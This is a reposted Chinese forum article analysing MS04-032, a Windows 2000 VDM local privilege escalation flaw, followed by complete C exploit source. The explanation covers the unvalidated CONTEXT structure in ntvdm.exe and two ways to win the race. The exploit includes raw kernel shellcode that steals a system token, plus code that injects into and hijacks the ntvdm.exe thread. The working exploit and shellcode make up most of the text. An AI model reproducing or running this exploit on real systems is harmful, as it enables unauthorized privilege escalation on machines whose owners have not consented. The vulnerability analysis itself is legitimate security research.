[转载]MS04-032漏洞分析
信息来源:Whitecell技术论坛([url]www.whitecell.com[/url])文章作者:SoBeIT
这个漏洞发生于内核处理VDM(Virtual DOS Maching)的过程中。VDM是微软为了兼容老式的16位MS-DOS程序而存在于Windows中的一个子系统,运行于V86模式下,模拟16位实模式环境。它由三个主要部分组成:
1、提供DOS环境模拟的代码,包括在系统目录下的ntdos*.sys和ntio*.sys等文件,并向虚拟机监控进程提交请求;
2、一个是在用户态的虚拟机监控进程ntvdm.exe,负责处理虚拟机里的绝大多数事件;
3、一个是内核(ntoskrnl.exe)中的部分,包括由控制进程调用的系统调用接口NtVdmControl及下层具体实现功能代码,负责DOS程序的初始化、执行、查询和延迟中断、查询文件等。和两个异常处理程序:第0x6号无效操作码异常处理程序和第0xd号一般保护错误异常处理程序,前者负责响应DOS环境模拟代码的请求并分派到监控进程中,后者处理DOS程序中的直接IN/OUT的IO,并分派到控制进程中。但有少数例外,就是DOS模拟代码提交的FastRead和FastWrite请求并不分派到控制进程中,而是由内核直接完成。
NtVdmControl函数的调用参数为VdmStartExecution,也就是0时,就会向V86模式切换。通过调用VdmpStartExecution函数把要执行的V86代码的环境改写内核堆栈中的TrapFrame结构,这样在系统调用KiSystemService返回时并不会返回到NtVdmControl函数里,而是切换进了V86模式。
DOS环境模拟代码通过一串无效的操作码\xc4\xc4\xXX\xXX,微软称为“BOP”,来传递请求到VDM进程里。传递过程由内核的第6号中断,也就是处理无效操作码的异常处理程序KiTrap06来完成。通过判断引发异常的操作码为“BOP”,内核会分派到虚拟机监控进程ntvdm.exe中。
漏洞发生于异常处理程序KiTrap06分派运行于V86下的代码产生的“BOP”到监控进程ntvdm.exe的过程中。内核处理虚拟机控制的系统调用NtVdmControl的过程中,会把当前系统环境保存在ntvdm.exe的地址空间中保存线程信息的VDM_TIB结构中的CONTEXT结构里。该结构在Windows2000下位于EPROCESS(ntvdm.exe)->VdmObjects->VmTib->MonitorContext,也就是*(*(*(EPROCESS+0x1dc)+0x98)+0xa04),在其它Windows NT系列里位于fs:[0xf18]->MonitorContext,也就是(*(fs:[0xf18])+0xa04)。当“BOP”发生后,就会取出CONTEXT结构里保存的环境,返回到NtVdmControl函数,最后回到ntvdm.exe的用户态部分进行处理。但是因为任何进程都可以读写ntvdm.exe进程地址空间中保存的CONTEXT结构中的数据,而KiTrap06并未验证环境结构的有效性,导致可以修改保存在CONTEXT结构里的返回地址和代码段选择子,进而在内核态执行用户态提供的代码来进行本地提升权限。
但是该漏洞的触发有点类似竞争条件,也就是NtVdmControl系统调用会修改保存的系统环境为正常值,而KiTrap06会取出环境并返回。所以必须在NtVdmControl之后KiTrap06之前修改系统环境。而NtVdmControl与KiTrap06的发生并不对等,所以这也就是利用难点。
为了利用该漏洞,一种方法是暴力法,就是通过建立多个线程,每个线程都以最小间隔时间向该CONTEXT结构不断进行写入,并且降低ntvdm.exe的优先级以加大执行间隔,来保证改写CONTEXT结构在KiTrap06之前。但是因为前面说过的NtVdmControl改写该CONTEXT结构与触发“BOP”的KiTrap06不是对等的,正常时常常是N:1的关系,前者发生了N次后者才发生一次。这样系统的负载对exploit是否成功有很大的影响,也就是成功率并不算太高。
但是,如果当KiTrap06的发生频率非常高时,exploit的成功率就能接近100%,如何提高KiTrap06的发生率,就是人为让V86虚拟机产生“BOP”。“BOP”在V86模式下才能触发,而进入V86模式就必须修改EFLAGS的VM位,该位只能在RING0下设置。但我们可以一个曲线的方法,ntvdm.exe的用户态地址空间中的VDM_TIB结构中还有另一个CONTEXT结构可以修改,就是EPROCESS->VdmObjects->VdmTib->Context,也就是*(*(*(EPROCESS+0x1dc)+0x98)+0xcd0),该结构中保存的是运行于V86模式下的代码的环境,修改它所保存的环境为一个“BOP”的地址。因为实模式下的寻址空间是1M,所以前面说的模拟DOS环境的代码都映射在了整个进程地址空间的开头。从0开始找,肯定能找到大量的“BOP”,只要不是FastRead和FastWrite的“BOP”,都满足条件。然后修改ntvdm.exe主线程的EIP,让它反复NtVmdContrl(StartExecution),就会不停切换进V86模式产生“BOP”,并触发KiTrap06,这时候保存V86模式环境的CONTEXT结构根本不会被改动,因为V86虚拟机除了反复在同一个地址“BOP”外啥都不能干。所以这时启动的暴力修改线程只要反复修改CONTEXT结构,基本都会成功。
但是,除了暴力法外其实有个更加简单的方法,就是让监控进程ntvdm.exe的主线程直接执行ZwContinue函数切换进V86模式,并设置ZwContinue函数的参数PCONTEXT结构指针里的CS:EIP为一个“BOP”的地址即可。通过暂停该进程修改它的CONTEXT结构,这样主线程恢复执行后就会切换进V86模式执行“BOP”触发异常执行到KiTrap06,NtVdmControl函数没有被调用的机会,MonitorContext结构内容也就不会被修改,可以直接执行到提升权限的代码里。具体的可以参见上一段暴力法的实现。
exploit
[code]/*
MS04-032 Windows VDM #UD Local Privilege Escalation Vulnerability Exploit
Created by SoBeIt
Main file of exploit
Tested on:
Windows 2000 PRO SP4 Chinese
Windows 2000 PRO SP4 English
Usage:ms04-032.exe
*/
#include <stdio.h>
#include <windows.h>
unsigned char kfunctions[64][64] =
{
//ntoskrnl.exe
{"ZwOpenProcess"},
{"ZwTerminateProcess"},
{""},
};
unsigned char shellcode[] =
"\x90\xe9\xff\x00\x00\x00\x5f\x4f\x47\x33\xc0\x66\x81\x3f\x90\xcc"
"\x75\xf6\x40\x40\x66\x81\x3c\x07\xcc\x90\x75\xec\x83\xc7\x04\xbe"
"\x38\xf0\xdf\xff\x8b\x36\xad\xad\x48\x81\x38\x4d\x5a\x90\x00\x75"
"\xf7\x95\x8b\xf7\x6a\x02\x59\xe8\x84\x00\x00\x00\xe2\xf9\xbb\x24"
"\xf1\xdf\xff\x8b\x1b\x8b\x43\x44\xb9\x08\x00\x00\x00\xe8\x5a\x00"
"\x00\x00\x8b\xd0\x8b\x4e\x08\xe8\x50\x00\x00\x00\x8b\x88\xc8\x01"
"\x00\x00\xe8\x45\x00\x00\x00\x8b\x8a\x2c\x01\x00\x00\x89\x88\x2c"
"\x01\x00\x00\x83\xec\x40\x8b\xec\x33\xc0\x8b\xfc\x6a\x10\x59\xab"
"\xe2\xfd\x8b\x46\x08\x89\x44\x24\x10\x8d\x5d\x10\x53\x8d\x5d\x20"
"\x53\x68\xff\x0f\x1f\x00\x8d\x5d\x00\x53\xff\x16\x8b\x5d\x00\x6a"
"\x00\x53\xff\x56\x04\x33\xc0\x50\x50\xff\x56\x04\x8b\x80\xa0\x00"
"\x00\x00\x2d\xa0\x00\x00\x00\x39\x88\x9c\x00\x00\x00\x75\xed\xc3"
"\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78\x03\xf5\x56\x8b\x76\x20\x03"
"\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33\xdb\x0f\xbe\x10\x85\xd2\x74"
"\x08\xc1\xcb\x07\x03\xda\x40\xeb\xf1\x3b\x1f\x75\xe7\x5e\x8b\x5e"
"\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e\x1c\x03\xdd\x8b\x04\x8b\x03"
"\xc5\xab\x5e\x59\xc3\xe8\xfc\xfe\xff\xff\x90\x90\x90\x90\x90\x90"
"\x90\xcc\xcc\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcc\x90\x90\xcc";
unsigned char IntoV86[] =
"\x90\x6a\x00\x68\x90\x90\x90\x90\x8b\xd4\xb8\x1c\x00\x00\x00\xcd"
"\x2e\x83\xc4\x08\xeb\xea";
VOID ErrorQuit(char *msg)
{
printf("%s\n", msg);
ExitProcess(0);
}
ULONG ComputeHash(char *ch)
{
ULONG ret = 0;
while(*ch)
{
ret = ((ret << 25) | (ret >> 7)) + *ch++;
}
return ret;
}
int main(int argc, char *argv[])
{
HANDLE hFile, hFileMap;
ULONG FileSize, ImageSize, i, j, k;
PVOID pBase, pHeader;
PULONG pImageBase, pShellcode, pTemp;
char *pBuffer, *pReadBuffer, *pWriteBuffer;
STARTUPINFO si;
PROCESS_INFORMATION pi;
ULONG buf[20];
CONTEXT Context;
PCONTEXT pV86Context;
PUCHAR ptr;
printf("\n MS04-032 Windows VDM #UD Local Privilege Escalation Vulnerability Exploit \n\n");
printf("\t Create by SoBeIt. \n\n");
if(argc != 1)
{
printf(" Usage:%s \n\n", argv[0]);
ExitProcess(0);
}
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
pBuffer = malloc(64);
pReadBuffer = malloc(64);
pWriteBuffer = malloc(64);
if((pBuffer == NULL) || (pReadBuffer == NULL) || (pWriteBuffer == NULL))
ErrorQuit("malloc failed.\n");
if(!GetSystemDirectory(pBuffer, 256))
ErrorQuit("GetSystemDirectory failed.\n");
strcat(pBuffer, "\\ntvdm.exe");
hFile = CreateFile(pBuffer, GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE)
ErrorQuit("CreateFile failed.\n");
if((FileSize = GetFileSize(hFile, NULL)) == 0xffffffff)
ErrorQuit("GetFileSize failed.\n");
if((hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, FileSize + sizeof(char), NULL)) == NULL)
ErrorQuit("CreateFileMapping failed.\n");
if((pBase = MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, 0)) == NULL)
ErrorQuit("MapViewOfFile failed.\n");
pHeader = (char *)pBase + ((PIMAGE_DOS_HEADER)pBase)->e_lfanew;
pImageBase = (PULONG)(((PIMAGE_NT_HEADERS)pHeader)->OptionalHeader.ImageBase);
ImageSize = ((PIMAGE_NT_HEADERS)pHeader)->OptionalHeader.SizeOfImage;
UnmapViewOfFile(pBase);
CloseHandle(hFileMap);
CloseHandle(hFile);
if(!CreateProcess(NULL, "command.com", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
ErrorQuit("CreateProcess failed.\n");
Sleep(100);
for(i = 0; i < ImageSize; i++)
{
if(!ReadProcessMemory(pi.hProcess, pImageBase + i, pReadBuffer, 12, NULL))
continue;
pTemp = (PULONG)pReadBuffer;
if(((*pTemp++) >> 28) != 0x7)
continue;
if(*pTemp++ != 0x1b)
continue;
if((*pTemp & 0x202) == 0x202)
break;
}
printf("Monitor Context: %x\n", pImageBase + i);
pShellcode = (PULONG)shellcode;
for(k = 0; pShellcode[k++] != 0x90cccc90; )
;
for(j = 0; kfunctions[j][0] != '\x0'; j++)
buf[j] = ComputeHash(kfunctions[j]);
buf[j++] = GetCurrentProcessId();
memcpy((char *)(pShellcode + k), (char *)buf, j * 4);
pTemp = VirtualAllocEx(pi.hProcess, 0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(pTemp == NULL)
ErrorQuit("VirtualAllocEx failed.\n");
if(!WriteProcessMemory(pi.hProcess, pTemp, pShellcode, 0x1000, NULL))
ErrorQuit("WriteProcessMemory failed.\n");
*(PULONG)pWriteBuffer = (ULONG)pTemp;
*(PULONG)(pWriteBuffer + 4) = 0x8;
SuspendThread(pi.hThread);
Context.ContextFlags = CONTEXT_FULL;
if(!GetThreadContext(pi.hThread, &Context))
ErrorQuit("GetThreadContext failed.\n");
for(ptr = 0; ; ptr++)
{
if(!ReadProcessMemory(pi.hProcess, ptr, pReadBuffer+0x20, 4, NULL))
{
printf("ReadProcessMemory failed.\n");
continue;
}
if(*(PUSHORT)(pReadBuffer+0x20) == 0xc4c4)
{
if((*(PUSHORT)(pBuffer+0x22) != 0x4350) || (*(PUSHORT)(pBuffer+0x22) != 0x4250))
break;
}
}
if(!WriteProcessMemory(pi.hProcess, pImageBase + i, pWriteBuffer, 8, NULL))
ErrorQuit("WriteProcessMemory failed.\n");
pV86Context = (PCONTEXT)((char *)(pImageBase + i) + 0x214);
printf("BOP Address: %x\n", ptr);
pTemp = (PULONG)pReadBuffer;
*pTemp++ = (ULONG)ptr & 0xfff;
*pTemp++ = ((ULONG)ptr & 0xfffff000) >> 4;
*pTemp++ = 0x20002;
if(!WriteProcessMemory(pi.hProcess, &(pV86Context->Eip), pReadBuffer, 12, NULL))
ErrorQuit("WriteProcessMemory failed.\n");
pTemp = (PULONG)&IntoV86[4];
*pTemp = (ULONG)pV86Context;
pTemp = VirtualAllocEx(pi.hProcess, 0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if(pTemp == NULL)
ErrorQuit("VirtualAllocEx failed.\n");
if(!WriteProcessMemory(pi.hProcess, pTemp, IntoV86, 0x1000, NULL))
ErrorQuit("WriteProcessMemory failed.\n");
Context.Eip = (ULONG)pTemp;
if(!SetThreadContext(pi.hThread, &Context))
ErrorQuit("SetThreadContext failed.\n");
ResumeThread(pi.hThread);
for(;;)
;
return 1;
}[/code]
页:
[1]
